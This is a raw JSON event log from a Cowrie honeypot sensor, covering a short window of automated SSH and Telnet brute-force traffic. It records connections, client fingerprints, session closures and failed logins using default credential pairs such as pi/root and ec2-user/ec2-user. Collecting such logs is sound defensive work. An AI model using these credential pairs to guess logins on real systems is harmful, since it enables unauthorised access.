{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:59.489592Z","src_ip":"91.92.40.171","session":"bef259b20cd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.46732759475708,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:59.533805Z","src_ip":"128.199.8.54","session":"6a381f664e54","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:59.792246Z","src_ip":"91.92.40.171","session":"19d5ba5127da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:59.977449Z","src_ip":"91.92.42.133","session":"798498dfb7f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:02.097647Z","src_ip":"91.92.40.171","session":"19d5ba5127da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:03.651551Z","src_ip":"91.92.40.171","session":"19d5ba5127da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":56070,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7eee84002d8","protocol":"ssh","message":"New connection: 91.92.40.171:56070 (159.203.135.109:22) [session: c7eee84002d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:04.128820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:04.133328Z","src_ip":"91.92.40.171","session":"c7eee84002d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:04.220849Z","src_ip":"91.92.40.171","session":"c7eee84002d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58398,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e79bf9b6d57","protocol":"ssh","message":"New connection: 91.92.42.133:58398 (159.203.135.109:22) [session: 3e79bf9b6d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:04.357384Z"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:04.505920Z","src_ip":"91.92.40.171","session":"c7eee84002d8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:04.522098Z","src_ip":"91.92.42.133","session":"3e79bf9b6d57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:04.525095Z","src_ip":"91.92.42.133","session":"3e79bf9b6d57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"root","message":"login attempt [pi/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:04.977959Z","src_ip":"91.92.42.133","session":"3e79bf9b6d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:05.595988Z","src_ip":"91.92.40.171","session":"c7eee84002d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:06.063423Z","src_ip":"91.92.42.133","session":"3e79bf9b6d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55798,"dst_ip":"159.203.135.109","dst_port":22,"session":"30eea750d452","protocol":"ssh","message":"New connection: 91.92.42.133:55798 (159.203.135.109:22) [session: 30eea750d452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:10.469837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:10.656738Z","src_ip":"91.92.42.133","session":"30eea750d452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:10.660675Z","src_ip":"91.92.42.133","session":"30eea750d452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44934,"dst_ip":"159.203.135.109","dst_port":22,"session":"88b7a94ac7d3","protocol":"ssh","message":"New connection: 91.92.40.171:44934 (159.203.135.109:22) [session: 88b7a94ac7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:10.893395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:10.945525Z","src_ip":"91.92.40.171","session":"88b7a94ac7d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:11.427476Z","src_ip":"91.92.42.133","session":"30eea750d452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:11.677966Z","src_ip":"91.92.40.171","session":"88b7a94ac7d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:12.556342Z","src_ip":"91.92.42.133","session":"30eea750d452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"12345","message":"login attempt [azureuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:14.966780Z","src_ip":"91.92.40.171","session":"88b7a94ac7d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":41624,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4720b888cb6","protocol":"ssh","message":"New connection: 91.92.40.171:41624 (159.203.135.109:22) [session: f4720b888cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:15.133780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:15.267940Z","src_ip":"91.92.40.171","session":"f4720b888cb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:15.270931Z","src_ip":"91.92.40.171","session":"f4720b888cb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:15.906438Z","src_ip":"91.92.40.171","session":"f4720b888cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:16.861178Z","src_ip":"91.92.40.171","session":"88b7a94ac7d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34630,"dst_ip":"159.203.135.109","dst_port":22,"session":"39200a3d2803","protocol":"ssh","message":"New connection: 91.92.42.133:34630 (159.203.135.109:22) [session: 39200a3d2803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:16.926774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:17.030559Z","src_ip":"91.92.42.133","session":"39200a3d2803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:17.033692Z","src_ip":"91.92.42.133","session":"39200a3d2803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:17.061547Z","src_ip":"91.92.40.171","session":"f4720b888cb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:17.401722Z","src_ip":"91.92.42.133","session":"39200a3d2803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:18.487271Z","src_ip":"91.92.42.133","session":"39200a3d2803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":41664,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d55ce5424f6","protocol":"ssh","message":"New connection: 91.92.40.171:41664 (159.203.135.109:22) [session: 4d55ce5424f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:20.866006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:20.955728Z","src_ip":"91.92.40.171","session":"4d55ce5424f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:21.068510Z","src_ip":"91.92.40.171","session":"4d55ce5424f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:21.581539Z","src_ip":"91.92.40.171","session":"4d55ce5424f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:22.701941Z","src_ip":"91.92.40.171","session":"4d55ce5424f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34688,"dst_ip":"159.203.135.109","dst_port":22,"session":"27acb71d8378","protocol":"ssh","message":"New connection: 91.92.42.133:34688 (159.203.135.109:22) [session: 27acb71d8378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:23.088465Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.155.90.118","src_port":19666,"dst_ip":"10.17.0.5","dst_port":22,"session":"362a5dd064c5","protocol":"ssh","message":"New connection: 192.155.90.118:19666 (10.17.0.5:22) [session: 362a5dd064c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:23.122640Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:23.125633Z","src_ip":"192.155.90.118","session":"362a5dd064c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:23.127902Z","src_ip":"192.155.90.118","session":"362a5dd064c5","protocol":"ssh"}
